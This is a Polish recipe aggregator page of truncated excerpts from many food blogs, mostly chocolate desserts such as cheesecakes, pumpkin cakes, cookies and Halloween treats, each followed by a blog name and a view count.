szklanki mleka 4 łyżki kakao 1,5 łyżeczki sody 1,5 łyżeczki proszku do pieczenia Składniki na krem: 500ml śmietanki 30% 2 łyżki cukru pudru 1 galaretka cytrynowa 30g czekolady mlecznej lub deserowej 6 bananów sok z połowy cytryny     *** Wszystkie składniki na ciasto dokładnie mieszamy, aż powstanie jednolita masa *** *** Ciasto wylewamy na wyłożoną papierem do pieczenia blaszkę(...)układamy na cieście *** *** Następnie banany smarujemy z wierzchu cienką warstwą galaretki *** *** Schłodzoną śmietankę ubijamy na sztywno z cukrem pudrem. Następnie ciągle miksując dodajemy cienkim strumieniem resztę galaretki cytrynowej *** *** Czekoladę kroimy w drobną kosteczkę lub ścieramy na tarce o dużych oczkach *** *** Czekoladę wsypujemy do masy śmietanowej, mieszamy *** *** Masę wykładamy na banany i równomiernie rozprowadzamy *** *** Całość posypujemy pokruszonym ciastem i lekko dociskamy

Blog z Apetytem
Ciasto dyniowe znakomite. Proste, bez miksera. Wege 115

puree w lodówce zrobisz je błyskawiczne. Dziecinnie proste, bo wystarczy łyżką wymieszać składniki i do piekarnika. Upieczone bez jajek, a niesamowicie pulchne i bardzo delikatne, z dodatkiem żurawiny i czekolady. Przepis znalazłam tutaj . I choć autorka przepisu nie poleca dyni Hokkaido, upiekłam ciasto właśnie z tą odmianą dynii. Zmniejszyłam jedynie jej ilość. Bardzo polecam! Przepyszne, rewelacyjne jesienne ciacho! Składniki suche(...)łyżeczki imbiru szczypta soli Składniki mokre: 3/4 szklanki puree z dynii Hokkaido 1/3 szklanki ksylitolu 1/2 szklanki oleju roślinnego 1/3 szklanki mleka 2 łyżki octu jabłkowego dodatkowo: 6 kostek czekolady (dałam 12) garść żurawiny Przygotowanie: piekarnik nagrzać do 180*C w dużej misce dokładnie wymieszać suche składniki przy pomocy rózgi mokre składniki odmierzyć w wysokim naczyniu blendera, a następnie dokładnie

Gotuj zdrowo!Guten Appetit!
Najszybsze ciasto z czerwonej fasoli 126

polewy czekoladowej). Nie zawiera mąki oraz cukru. Składniki: puszka czerwonej fasoli 1 banan 2 jajka 3 łyżki miodu 1 łyżeczka proszku do pieczenia 2 łyżki kakao Dodatkowo na polewę: czekolada mleczna 3-4 łyżki mleka WAŻNE! Swoje ciasto zrobiłam w podłużnej keksówce 31x11 cm z PODWÓJNEJ porcji i piekłam przez godzinę z termoobiegiem w 180 st. Na polewę zużyłam(...)tabliczki czekolady. Wykonanie: Wszystkie składniki zblendować ze sobą. Piec przez 30 min. w temp 180 st. W garnuszku na małym ogniu rozpuścić czekoladę z odrobiną mleka. Polać gorącą polewą schłodzone ciasto. Zostań ze mną na dłużej. Moje Własne Pozdrawiam

Mojewlasne.pl
Mocno migdałowy sernik 131

Klasyczny sernik o wyrazistej migdałowej nucie z dodatkiem chrupiących płatków  migdałów, z wyczuwalnym likierem Amaretto, polany delikatną polewą z białej czekolady zawsze świetnie smakuje i szybko znika z stołu. Składniki: Spód: 200g pełnoziarnistych herbatników 60g masła extra Masa serowa: 1kg białego sera (3 razy zmielonego lub z wiaderka) 1 puszka mleka skondensowanego słodzonego (530g) 5 jajek 9 ml olejku(...)migdałowego 80 ml likieru Amaretto 4 łyżki budyniu śmietankowego 120g płatków migdałowych Polewa: 150g białej czekolady 2 łyżki masła 5 łyżek śmietany 30% 30g płatków migdałowych Wykonanie: 1. Spód: herbatniki zmiksować blenderem do postaci bułki tartej, dodać masło w temperaturze pokojowej, całość dokładnie wymieszać i wyłożyć spód tortownicy o średnicy 23 cm wyłożony papierem do pieczenia. Wstawić do lodówki

Szalona Kuchnia Eweliny
Krem czekoladowo - bananowy. 100

możecie podać go dzieciom jako zamiennik nutelli. Na pewno będzie zdrowiej. Mojemu mężowi ogólnie ciężko dogodzić z jedzeniem, ale tym kremem się zajada :) Składniki: 2 dojrzałe banany 50 g. czekolady gorzkiej 5 łyżek mleka 2 łyżki kakao 2 łyżki cukru Wykonanie: Do miseczki wrzucić czekoladę połamaną na kawałki i dodać mleko. Miseczkę ustawić na rondelku z gotującą wodą. Kiedy czekolada

Agusiowe smakołyki
CHILI SIN CARNE 165

papryki w proszku, suszonego oregano, po 1/2 łyżeczki: soli i świeżo zmielonego czarnego pieprzu 2 łyżki sosu sojowego 2 pełne łyżki koncentratu pomidorowego 2 szklanki wody 1 kostka gorzkiej czekolady  1 puszka (400 g) pomidorów z puszki DO PODANIA: ugotowany ryż, świeża kolendra, kwaśna śmietana, cząstki limonki do wyciśnięcia, awokado (pokrojone w plastry, doprawione solą i pieprzem, skropione oliwą(...)pietruszki.  Zagotowujemy, wsypujemy czerwoną soczewicę i dodajemy pokrojoną w kostkę paprykę. Przykrywamy pokrywką, redukujemy płomień do minimalnego i gotujemy 30 minut. Na 5 minut przed końcem dodajemy kostkę czekolady i posiekaną natkę pietruszki. Mieszamy do rozpuszczenia czekolady. Wyjmujemy łodyżki natki pietruszki. Próbujemy i ewentualnie doprawiamy do smaku, np. sosem sojowym lub opcjonalnie także odrobiną cukru (jeśli pomidory były kwaśne

cool and minty
Ciasto chałwowe bez pieczenia. 177

dobrze schłodzone smakuje wyśmienicie. SKŁADNIKI: KREM: - 600 ml. mleka - szczypta soli - 1/2 szkl. cukru - 200 gr. masła - 2 budynie waniliowe w proszku - 300 gr. chałwy waniliowej POLEWA: - 100 gr. czekolady gorzkiej - 100 ml. śmietanki kremówki 30 % DODATKOWO: - 60 szt. herbatników - słoiczek dżemu truskawkowego - krokant do ozdoby ciasta * foremka 24cm. x 32cm. * 1 szklanka = 250 ml. WYKONANIE: - do garnka wlewamy(...)dżem truskawkowy, a na dżem wykładamy masę chałwową. Czynność powtarzamy, czyli, herbatniki, dżem, krem i na górę herbatniki. - w rondelku podgrzewamy 100 ml. śmietanki kremówki, dodajemy 100 gr. gorzkiej czekolady i dobrze mieszamy do dokładnego rozpuszczenia się czekolady. - polewę czekoladową wylewamy na górę ciasta czyli na herbatniki i posypujemy ją krokantem dla ozdoby. - ciasto przykrywamy folią spożywczą, i wsadzamy

RITA food channel
BEZA Z WANILIOWYM KREMEM, IMBIROWĄ GRUSZKĄ i SOSEM TOFFEE 176

Delikatny deser bezowy, z lekkim waniliowym kremem i gruszką gotowaną w imbirowym syropie. Przed podaniem udekorowany sosem toffee, wiórkami gorzkiej czekolady i listkami świeżej mięty. Przygotowanie można rozłożyć w czasie - blat bezowy upiec 2-3 dni wcześniej, w kolejnym dniu ugotować gruszki i sos toffee, a w dniu podania ubić krem i złożyć deser w całość. Pomimo minimalnej ilości cukru(...)łyżeczki cukru pudru ziarenka wyłuskane z 1/2 wanilii SOS TOFFEE 1 szklanka śmietany 30% 1/4 szklanki miodu 1/4 szklanki brązowego cukru 50 g masła DO DEKORACJI: wiórki gorzkiej czekolady, listki świeżej mięty WYKONANIE Piekarnik rozgrzewamy do 120 stopni C, bez termoobiegu. Blachę z wyposażenia piekarnika wykładamy papierem do pieczenia. BEZA: Białka ubijamy ze szczyptą soli, na lekko sztywną pianę. Cały

cool and minty
Kulki mocy | Śliwka w czekoladzie 112

blenderze (może być mieszanka różnych orzechów, u mnie orzechy laskowe) 1 płaska łyżeczka ciemnego kakao 1 łyżeczka oleju kokosowego mała szczypta soli himalajskiej Dodatkowo: kakao do obtoczenia gorzka czekolada (na wszystkie kuleczki ok. 100 g) Przygotowanie: 1) Suszone daktyle i śliwki zalać ciepłą wodą i odstawić na godzinę. 2) Po tym czasie, odsączyć (wodę zostawić), pokroić na mniejsze kawałki(...)daktyle i śliwki. 5) Przygotowaną masę odstawić na 30 min. do lodówki. 6) Po wyciągnięciu z lodówki, z masy formować niewielkie kuleczki i obtaczać w kakao lub w gorzkiej czekoladzie rozpuszczonej w kąpieli wodnej. 7) Gotowe kulki przechowywać w szczelnie zamykanym pojemniku, w lodówce.   Artykuł Kulki mocy | Śliwka w czekoladzie pochodzi z serwisu FitSweet

Fitsweet.me
Sernik dyniowy z polewą czekoladową 151

obraniu i usunięciu nasion) 2 łyżki ekstraktu waniliowego Składniki na spód: około 200 g ciastek Oreo lub Neo 50 g roztopionego masła Składniki na polewę czekoladową: 100 g gorzkiej czekolady 100 g śmietany kremówki Wykonanie: 1. Purée z dyni: Dynię umyj i przekrój na 2 kawałki. Pozbądź się nasion, skórkę zostaw. Dynię rozłóż na blasze do pieczenia skórką do dołu(...)drzwiczkach. Sernik należy włożyć na noc do lodówki i na drugi dzień – można go śmiało jeść. Sernik należy przechowywać w lodówce. Około pół godziny przed podaniem zrób polewę czekoladową. Czekoladę połamaną na mniejsze kawałki i kremówkę umieść w rondelku. Podgrzewaj na małym ogniu, cały czas mieszając aż czekolada się rozpuści. Polewę wylej na sernik i równo rozprowadź. Smacznego! Artykuł Sernik

Moja pasja smaku
Kokosowy sernik 331

Mocno kokosowy, szybki w przygotowaniu nie wymagający pieczenia sernik na herbatnikach z delikatną białą czekoladą jest świetną alternatywą klasycznego ciasta na bazie sera. Składniki: Masa serowa: 1,3kg białego sera półtłustego (3 krotnie zmielonego) 3jajka 300g masła extra 1 i 1/3  szklanki cukru 300ml mleczka kokosowego 3 budynie śmietankowe (na 0,5l mleka) 1,5 szklanki wiórków kokosowych 15ml(...)likieru kokosowego % Polewa: 200g białej czekolady 1 łyżka masła 7 łyżek śmietanki 30% Dodatkowo: 300g herbatników black wiórki kokosowe różowa posypka dekoracyjna Wykonanie: 1. Masa serowa: W dużym garnku rozpuścić masło z cukrem, dodać ser, jajka, wlać mleko kokosowe z rozrobionymi budyniami i energicznie dokładnie wymieszać aż do połączenia się składników. Ciągle mieszając dodać likier kokosowy, doprowadzić do wrzenia, chwilkę

Szalona Kuchnia Eweliny
Szarlotka z kremem czekoladowym - pyszna 195

masa jabłkowa troszkę stężała. Krem czekoladowy: 500 ml śmietanki 36% 250 g serka mascarpone 4 łyżki kremu czekoladowego typu nutella (u mnie z orzechami i miodem) Dodatkowo: gorzka czekolada do starcia na ciasto około 20 sztuk herbatników kakaowych typu petitki 1. Śmietankę ubijamy, do ubitej dodajemy mascarpone i krem czekoladowy (jeśli wolicie masę bardziej słodki to nutelli możecie dodać oczywiście(...)już ułożone herbatniki wykładamy nasz krem (troszkę zostawiamy na posmarowanie wierzchu ciasta!!), następnie dajemy drugi blat biszkoptu. Na nim rozsmarowujemy krem czekoladowy, który zostawiliśmy i całość posypujemy startą gorzką czekoladą. Ciasto wkładamy do lodówki u mnie stało całą noc, ale myślę że 3 godzinki spokojnie mu wystarczy :-) Smacznego :-) Przełożenie ciasta:  pierwszy blat biszkoptu - letnia masa jabłkowa - herbatniki typu petitki

kruche babeczki
DYNIOWE CIASTECZKA 182

Sezon dyniowy w pełni, dzięki czemu możemy przygotowywać najróżniejsze dania z ich wykorzystaniem. Dzisiaj padło na ciasteczka - takie lekko piernikowe z dodatkiem gorzkiej czekolady.   Z przepisu wychodzi ok. 10 ciasteczek. Składniki: 1/2 szklanki puree dyniowego 1/2 szklanki cukru trzcinowego 1/4 szklanki oleju kokosowego (w formie płynnej) 1 łyżka syropu klonowego 1 szklanka mąki 1 łyżeczka proszku do pieczenia(...)łyżeczki sody oczyszczonej 2 łyżeczki przyprawy do piernika 50 g gorzkiej czekolady Przepis: W misce łączymy puree dyniowe z olejem kokosowym, cukrem i syropem klonowym - mieszamy do uzyskania jednolitej masy.  W osobnym naczyniu łączymy mąkę, proszek do pieczenia, sodę oraz przyprawę do piernika - również mieszamy do połączenia wszystkich składników.  Następnie łączymy zawartość obu misek i na koniec dodajemy

Emcia Pichci
Krwiste ciasteczka Oreo 90

swoimi pociechami Halloween, mam więc dla Was fajną słodycz, idealną w ten upiorny dzień- krwiste ciasteczka! 😱👻🎃 Pracy przy nich, tyle co nic, w zasadzie można tylko przygotować dziecku czekoladę z barwnikiem i niech samo zabawi się w Picassa 😜 Potem wystarczy tylko ozdobić cukrowymi oczkami (ja niestety do zdjęć wykorzystałam sztuczne oczka) i krwiste Oreo gotowe! 👍 * ciasteczka Oreo- 2 opakowania * biała(...)czekolada- 100 g * barwik czerwony- wedle uznania * cukrowe oczka- do dekoracji Białą czekoladę roztopić, wymieszać z czerwonym barwnikiem, a następnie polać ciasteczka. Ozdobić oczkami. Strasznego

Kraina Miodem Płynąca
Dynie z ryżu preparowanego i pianek-super przekąska Halloween i mój przepis w gazecie 170

preparowanego bezsmakowego -ok 120g pianek marschmallows (najlepiej białych lub różowo białych) -50g masła  -pomarańczowy barwnik spożywczy lub żółty i czerwony (po zmieszaniu wyjdzie pomarańczowy) DODATKOWO -ok 50g czekolady deserowej -zielony wyciskany pisak spożywczy,lub lukier Do garnka o dużym dnie dajemy masło i rozpuszczamy na niewielkim ogniu.  Następnie dodajemy pianki (ja niestety nie znalazłam w sklepie pianek(...)ryż, mieszamy dokładnie i chwilę studzimy.  następnie formujemy rękami kule, polecam posmarować ręce np olejem, wtedy kule lepiej się formują :) Powstałe kule dekorujemy według własnego uznania. Z roztopionej czekolady robimy buźki  kawałek czekolady kroimy na małe kawałki,  topimy końcówkę nad ogniem i przyklejamy tak by tworzył ogonek dyni. Pisakiem robimy kłącza :) I gotowe. Dynie powinny chwilę postać

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Torcik a'la tiramisu 95

Coś słodkiego na niedzielne popołudnie. Kremowe połączenie kawy, czekolady i aksamitnej śmietanki. Po prostu pycha. TORCIK A'LA TRIAMISU Składniki: (forma 24 cm) spód: 300 g herbatników czekoladowych (lub po 150 jasnych i ciemnych) 100 g masła masa czekoladowa: 4 tabliczki czekolady deserowej 500 ml śmietany 30% 100 ml likieru kawowego lub amaretto masa śmietankowa: 250 g serka mascarpone(...)waniliowego skórka otarta z pomarańczy wierzch: kakao do dekoracji Przygotowanie: spód: Ciastka kruszymy i łączymy z rozpuszczonym masłem. Mieszankę wysypujemy do foremki, wyrównujemy, dociskamy do dna. Odstawiamy. masa czekoladowa: Czekoladę kruszymy drobno i rozpuszczamy w 300 ml ciepłej śmietanki. Dodajemy likier, studzimy i odstawiamy do lodówki na 1-2 godziny. Pozostałą śmietanę ubijamy. Ubitą śmietanę delikatnie łączymy z masą czekoladową

Bon appetit mon amie
TRUFLE PAJĄKI na Halloween 154

imprezę halloween. SKŁADNIKI: - 12 szt. ciastek oreo - 200 gr. serka mascarpone - czekoladowa posypka - kolorowa posypka - kandyzowana skórka z pomarańczy do zrobienia oczek WYKONANIE: 1).  40 gr. gorzkiej czekolady rozpuszczamy w kąpieli wodnej lub w mikroweli. 2). płynną czekoladę przelewamy do szprycy, rękawa lub do takiego pisaka - strzykawki jaki ja użyłam w video. 3). na papierze do pieczenia, płynną czekoladą

RITA food channel
Rurki z bitą śmietaną 393

jest, trzeba mieć tylko foremki metalowe do rurek, ja mam 20 sztuk, wtedy praca idzie szybciej. Rurki z ciasta kruchego, wypełnione bitą śmietaną z idealnym dodatkiem czyli czekoladą, pięknie się prezentują, zachwycą każdego. SKŁADNIKI : • 500 g mąki • 250 g masła • 150 g śmietany • szczypta soli • 2 żółtka • 400 ml śmietanki 30% • 2 cukry waniliowe + 2 łyżki cukru • łyżeczka żelatyny rozpuszczona(...)małej ilości gorącej wody (na dnie szklanki) • czekolada mleczna rozpuszczona w z 2 łyżkami mleka PRZYGOTOWANIE : Mąkę, masło, śmietanę, żółtka i szczyptę soli zagniatamy na jednolite ciasto, chowamy do lodówki na około godzinę, schłodzone dzielimy na dwie części, jedną chowamy do lodówki, a drugą rozwałkowujemy dość cienko na prostokąt, dzielimy na paski o dł. 15cm i szerokości 2,5cm, każdy

KUCHNIA POLSKA
Czekoladowo-jogurtowe ciasto z gruszką i mascarpone 110

jest comfort food, który ja absolutnie kocham! Czekolada, owoce, mascarpone - na ciepło i do tego w ekspresowym tempie! Miałam ochotę na małe słodkie porcyjki, ale to ciasto śmiało można upiec w keksówce. A wszystko bez dodatku cukru, można chcieć więcej? 😉 Ciasto czekoladowo-jogurtowe: 1 tabliczka gorzkiej czekolady 3 łyżki miodu 0,5 szklanki oleju słonecznikowego 1 jogurt grecki lub bałkański(...)400g) 2 duże jajka wiejskie 2 szklanki mąki pszennej tortowej 1 łyżeczka proszku do pieczenia 2 gruszki Do rondelka wlewamy olej, łamiemy czekoladę i dodajemy miód. Wszystko rozpuszczamy na delikatnym ogniu do połączenia się składników. W miseczce mieszamy jogurt z jajkami. Gdy czekoladowa masa będzie już płynna dodajemy ją do masy jogurtowej i mieszamy. Następnie dodajemy proszek do pieczenia oraz

Cooking Monster
Muffinki bananowe z czekoladą i śliwkami 143

cyklu: "Do śniadaniówki" - muffinki bananowe z czekoladą i śliwkami. Równie pyszne jak chlebek bananowy , ale bardziej poręczne, bardziej słodkie no i te śliwki...  Składniki: 2 szklanki mąki (u mnie orkiszowa) 120 g cukru 120 g oleju (ew. masła) 50 g posiekanej, gorzkiej czekolady 3 duże, dojrzałe banany 2 jajka 1 łyżeczka proszku do pieczenia 1 łyżeczka sody(...)Banany rozgnieść. Olej połączyć z jajkami, solą, ekstraktem waniliowym, dodać banany. Mąkę przesiać z proszkiem do pieczenia, sodą i cukrem. Połączyć z masą jajeczno-olejowo-bananową. Dodać pokrojoną czekoladę. Przelać do foremek, na wierzch położyć śliwki (skórką do dołu) i piec 20-25 minut w 180 °C (do suchego patyczka). Porcja na 14-15 muffinek. Smacznego :). Znajdź mnie

Rodzinka w kuchni
Ciasto "Śliwkowa delicja" 104

jajka 30 g masła 75 g mąki 80 g cukru 1/2 łyżeczki proszku do pieczenia szczypta soli Składniki masy: 2 kg śliwek 2 galaretki pomarańczowe Polewa: 100 g czekolady (mleczna, gorzka, deserowa, do wyboru)** 60 ml kremówki 1 łyżka masła Dodatkowo: 3-4 łyżki soku z pomarańczy Wykonanie ciasta śliwkowa delicja: Biszkopt. Włączyć piekarnik na 180 °C. Masło rozpuścić(...)przestudzenia. Biszkopt nasączyć sokiem pomarańczowym (niekoniecznie). Położyć tężejącą masę śliwkową. Wstawić do lodówki do stężenia. Polewa. Śmietanę zagotować. Zestawić z ognia i po chwili dodać masło i połamaną czekoladę. Całość mieszać do rozpuszczenia składników. Gładką masą polać galaretkę. Zostawić do zastygnięcia. *ciasto można przygotować w prostokątnej foremce 20X35 cm. Trzeba jednak upiec biszkopt z podwójnej porcji. **polewa z gorzkiej

Rodzinka w kuchni
Sernik z żurawiną na spodzie brownie 138

Kremowy, delikatnie pomarańczowy, mięsisty sernik na czekoladowym spodzie. A wierzch? Słodko-kwaśna, przetarta żurawina. Przepyszny sernik na chłodne dni :).  Składniki brownie: 200 g masła 200 g gorzkiej czekolady 2/3 szklanki cukru 3 jajka 50 g mielonych migdałów lub orzechów (można zastąpić mąką) 85 g mąki (w wersji bezglutenowej - ryżowej) szczypta soli Składniki masy serowej: 500 g twarogu (wiaderkowa Piątnica(...)Wykonanie sernika z żurawiną na spodzie brownie: Spód. Formę o średnicy 24 cm wyłożyć folią aluminiową. Piekarnik włączyć i nastawić temperaturę 180 °C. Masło rozpuścić, chwilę przestudzić, dodać połamaną czekoladę, wymieszać. Jajka ubić na puszystą masę z cukrem i szczyptą soli. Ubijając, wlać powoli czekoladę. Wyłączyć mikser, dodać zmielone migdały i mąkę. Wymieszać delikatnie szpatułką. Przelać do foremki i piec

Rodzinka w kuchni
Ciasto Bounty z mleczkiem kokosowym. 427

puszka mleczka kokosowego (400 ml.) 250 ml. mleka 1/2 szklanki cukru 1 łyżeczka cukru waniliowego 3 łyżki kaszy manny 300 g. wiórek kokosowych 1 kostka masła Polewa: 1 tabliczka czekolady mlecznej 1 tabliczka czekolady gorzkiej 100 g. masła lub margaryny Poncz: 1/3 szklanki mleka 1 łyżka likieru kokosowego Wykonanie: Białka ubić z cukrem. Dodać żółtka cały czas ubijając. Następnie wsypać(...)biszkopt. Następnie na biszkopt wyłożyć masę kokosową. Wyrównać powierzchnię i wstawić do lodówki na około godzinę. Przygotować polewę. Miseczkę ustawić na garnku z gotującą wodą. Do miski wrzucić pokruszone czekolady i masło. Mieszać do uzyskania gładkiej polewy. Zostawić polewę do lekkiego przestudzenia, co jakiś czas mieszając. Następnie polać ciasto i ponownie wstawić do lodówki na kilka godzin

Agusiowe smakołyki
Całoroczne ciasto w 10 minut z kremem mascarpone, malinami i białą czekoladą 121

ciasto powstało w 10 minut, no może w 12! Zniknęło również ekspresowo, ponieważ nie sposób mu się oprzeć. Krem na bazie serka mascarpone, lekko kwaskowate maliny oraz biała czekolada i pysznie chrupiące ciasteczka francuskie tworzą naprawdę idealne połączenie. Ciasto widoczne na zdjęciach sfotografowałam po około 10 minutach chłodzenia, choć można ten etap pominąć lub wydłużyć, aby ciastka lekko zmiękły. Przyznam(...)250g serka mascarpone 200 ml śmietanki 30-36% 3 łyżki cukru pudru (płaskie) Dodatkowo: 200g paluszków francuskich w cukrze (Brześć) 100g malin (mrożonych lub świeżych) 50-75g białej czekolady Przygotować krem. Śmietankę z cukrem ubić na sztywno i stopniowo połączyć z serkiem mascarpone. Następnie na dnie formy wyłożonej papierem do pieczenia/folią spożywczą ściśle ułożyć paluszki francuskie. (Ciastka można

Di gotuje
Gryczane ciasto czekoladowe z gruszkami i borówkami 116

plusy. W tym przypadku mam na myśli, to jak bardzo gryka jest zdrowa. Osobiście za jej smakiem nie przepadam, ale mimo to po nią sięgam. Dzięki obecności w cieście czekolady, gruszek i borówek, smak gryki nie jest dominujący. Jeżeli mimo to Wam przeszkadza, to można dodać do ciasta łyżeczkę świeżo mielonej kawy. Złagodzi ona posmak gryki. SKŁADNIKI 1 jajko szczypta(...)soli 100 g gorzkiej czekolady 70 g masła 50 ml mleka 120 g cukru trzcinowego 200 g mąki gryczanej 1/2 łyżeczki mielonego kardamonu 1 łyżeczka sody 1 łyżeczka octu winnego 2 gruszki 125 g borówki amerykańskiej dodatkowo: cukier puder do oprószenia ciasta WYKONANIE Piekarnik rozgrzać do temperatury 180 ° C. Spód formy tortowej o średnicy 24 cm wysmarować masłem i oprószyć

Passions hobbies life
Karpatka z kremem orzechowo- budyniowym 242

jajek, szczypta soli, Masa orzechowo- budyniowa: 200g orzechów włoskich, 2 szklanki mleka, 1 szklanka cukru, 1 opakowanie budyniu waniliowego, 1 opakowanie cukru waniliowego, 200g masła, Dodatkowo: ½ tabliczki gorzkiej czekolady, orzechy włoskie do posypania. PRZYGOTOWANIE: 1. Ciasto: Margarynę razem z wodą przekładam do garnka i rozpuszczam. Stopniowo wsypuję mąkę z solą. Zaparzam ciasto przez około 5 minut, cały czas mieszając. Ciasto(...)Masło ucieram na puszystą masę. Dodaję budyń. Ucieram. Następnie dodaję masę orzechową. Wszystko razem ucieram. 3. Na jedno z upieczonych ciast wykładam masę orzechowo- budyniową. Wyrównuję. Przykrywam drugim ciastem. Czekoladę rozpuszczam nad kąpielą wodną. Z rozpuszczonej czekolady robię na wierzchu ciasta esy floresy. Całość posypuję posiekanymi orzechami

Tradycyjna kuchnia Kasi
Kruche babeczki z marakują 136

się na weekend :) Składniki: ciasto - 2 i 1/2 szklanki mąki pszennej - 200 g masła - 1/2 szklanki cukru pudru - 3 żółtka - skórka otarta z jednej cytryny masa - 100 g białej czekolady - 330 g śmietany kremówki - 2 marakuje Przygotowanie: Wszystkie składniki na ciasto łączymy, zagniatamy, formujemy kulę i schładzamy w lodówce 30 minut. Następnie wyjmujemy ciasto i  wylepiamy nim foremki(...)babeczki. Pieczemy w 180 C około 15 minut. Jeszcze ciepłe wykładamy z foremek. Gdy foremki się studzą robimy masę. Czekoladę rozpuszczamy w kąpieli wodnej i studzimy. Śmietanę kremówkę ubijamy na sztywno i stopniowo dodajemy przestudzoną czekoladę. Do masy na koniec dodajemy marakuję, delikatnie mieszamy i kremem napełniamy przestudzone babeczki. Wierzch dekorujemy marakują

Zainspirowana w kuchni
Sernik z toffi na korzennym spodzie 136

Sernik z toffi na korzennym spodzie Sernik z toffi na korzennym spodzie to mój sernikowy hit Spód z ciasteczek o korzennym smaku, masa serowa z białą czekoladą i toffi Całość pyszna, słodka, ale nie przesłodzona. Sernik jest delikatny, nie jest to typ zbitego sernika, a kremowy przypominający Sernik Złota Rosa. Sernik z toffi na korzennym spodzie na pewno przypadnie(...)szklanki cukru 1 łyżka cukru domowego cukru waniliowego lub mały cukier wanilinowy 2 czubate łyżki mąki ziemniaczanej ( 80 g ) 100 ml śmietanki 30% 4 jajka 200 g białej czekolady Dekoracja: 1 puszka masy kajmakowej o smaku krówkowym ( toffi ) 400 g orzechy do dekoracji PRZYGOTOWANIE: Ciasteczka rozkruszyć na piasek przy pomocy blendera. Dodać przyprawę piernikową i wymieszać. Masło stopić i wystudzić

WSZYSTKO SMACZNE
CISTKA OWSIANE Z CZEKOLADĄ 118

Pyszne i proste do zrobienia ciasteczka z dużą ilością płatków owsianych. Z suszonymi owocami, pestkami słonecznika i dyni oraz kawałkami gorzkiej czekolady. Dodatki możecie dowolnie modyfikować, za każdym razem dodając, to, na co w danej chwili macie ochotę lub, co znajdziecie w swojej spiżarce. Ciastka są lekkie i chrupiące. Świetne do śniadaniówki lub na szkolne i przedszkolne eventy. Surowe cisto(...)sztuk każda. SKŁADNIKI / 24 szt. 230 g (2 szklanki) płatków owsianych 100 g (3/4 szklanki) mąki pszennej 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 50 g gorzkiej czekolady / pokrojonej w kosteczkę garść suszonych owoców, np. żurawiny, rodzynek 1 łyżka pestek słonecznika 1 łyżka pestek dyni 100 g miękkiego masła 40 g (4 łyżki) brązowego cukru

cool and minty
CIASTO RAFAELLO 283

25/35 CM: BISZKOPT: 6 jaj szklanka cukru szklanka mąki pszennej 0,5 szklanki mąki ziemniaczanej po łyżeczce proszku do pieczenia i octu KREM: 0,5 szklanki mleka 2 białe czekolady 2 bite śmietany ,,Śnieżka'' 330 ml śmietany 30 % 400 g drobnych wiórek kokosowych ORAZ: 0,5 słoiczka powidła śliwkowego lub kwaśnego dżemu WYKONANIE: BISZKOPT: JAK ZROBIĆ  KLIK KREM: Mleko(...)gotujemy i odkładamy na bok. Dodajemy połamane czekolady. Mieszamy i zostawiamy do rozpuszczenia. Jeśli jednak nie rozpuściły się do końca podgrzewamy i mieszamy. Zostawiamy w chłodnym miejscu do wystudzenia. Śmietankę ubijamy razem ze Śnieżkami, dolewamy chłodne mleko z czekoladami. Na końcu wsypujemy wiórki, trochę odkładamy do dekoracji. Mieszamy. SKŁADANIE: Biszkopt przecinamy na 3 blaty.  Pierwszy blat smarujemy powidłem śliwkowym

Pani na deser
Świąteczne trufle z miętowym nadzieniem 95

Ulubionego masła orzechowego (może też być pasta kokosowa, u mnie masło z nerkowców) 1/4 cup Oleju kokosowego (plus 1/2 łyżki) 2 tbsp Miodu 5 tbsp Kakao 50 g Czekolady gorzkiej 1 tbsp Mąki kokosowej Ekstrakt miętowy (do smaku) Szczypta soli Karmelki miętowe (omiń jeśli stricte paleo lub użyj innych cukierków miętowych) Do naczynia blendera dodajemy masło orzechowe, olej kokosowy, kakao(...)minimalna ilość, że nikomu nie powinny zaszkodzić, możesz użyć innych cukierków słodzonych np. ksylitolem) układamy pomiędzy papierem do pieczenia i rozbijamy wałkiem do ciasta. W małym rondelku rozpuszczamy czekoladę z 1/2 łyżki oleju kokosowego. Ściągamy z ognia, obtaczamy nasze nadzienie i układamy na talerzu lub blasze pokrytej papierem do pieczenia. Posypujemy proszkiem z karmelków. Wstawiamy do lodówki na kolejne pół

Oslov.
Gruszkowy ptyś bez pieczenia 126

połączy się takie składniki, nie może być inaczej. Warstwa delikatnej słomki ptysiowej, gruszki w galaretce i do tego delikatna pianka na bazie śmietanki i mascarpone oprószona startą czekolada. Lekko, smacznie, a zarazem jesiennie.  Składniki: 1 kg gruszek (u mnie konferencje) 2 galaretki gruszkowe 1 szklanka wody 250 g mascarpone 330 ml śmietany 30% opakowanie słomki ptysiowej 1/2 tabliczki czekolady(...)22cm) układamy warstwę słomki ptysiowej, na słomki wykładamy tężejącą galaretkę gruszkową. Na galaretce kładziemy kolejną warstwę słomek, a na nie ubita piankę ze śmietany i mascarpone. Wierzch posypujemy startą czekoladą i odstawiamy do lodówki najlepiej na całą

Cynamonowe szczęście
Przepis #179 Dyniowe ciasto - bez laktozy i glutenu 89

użyć orkiszowej lub zwykłej pszennej pełnoziarnistej) - 1/2 łyżeczki sody oczyszczonej - 1/2 szklanki rozpuszczonego oleju kokosowego - 1 łyżeczka cynamonu - 2-3 łyżki miodu lub innego słodzidła - 40 g dobrej gorzkiej czekolady (jeśli chcemy by ciasto było bez laktozy wybierz czekoladę bez mleka w składzie) Wykonanie Do jednej miski wsypujemy mąkę, sodę oraz cynamon. W drugiej łączymy jajka, miód oraz dynię(...)olej kokosowy. Łączymy obie masy. Na koniec dodajemy pokrojoną w kostkę gorzką czekoladę. Wszystko dokładnie mieszamy. Masę przekładamy do formy. Pieczemy w temperaturze 180 stopni przez około 30 minut. Ciasto dyniowe możemy dowolnie udekorować - choć dobrze smakuje nawet bez dodatków. Ciasto ma formę babki więc można zabrać je sobą do pracy czy szkoły lub po prostu zjeść na jesiennym spacerze

Health-Fit-Life
Jogurt z płatkami owsianymi, musem z gruszki i gorzką czekoladą 138

Efekt końcowy smakowity. Śniadanie to jest bogate w węglowodany. Jest słodkie, więc także doskonale sprawdzi się jako deser! Składniki na jogurt z płatkami owsianymi, musem z gruszki i gorzką czekoladą (porcja): jogurt naturalny około 4 - 5 łyżek płatki owsiane 3 - 4 łyżki dwie gruszki kostka gorzkiej czekolady Gruszki obrać, wyciąć gniazda nasienne i ogonki, zblendować na gładką masę. Wsypać płatki(...)dodać jogurt i wymieszać. Dolać mus i wsadzić kostkę czekolady. Nie ma potrzeby dosładzania

Karola gotuje
Ciasto twix 129

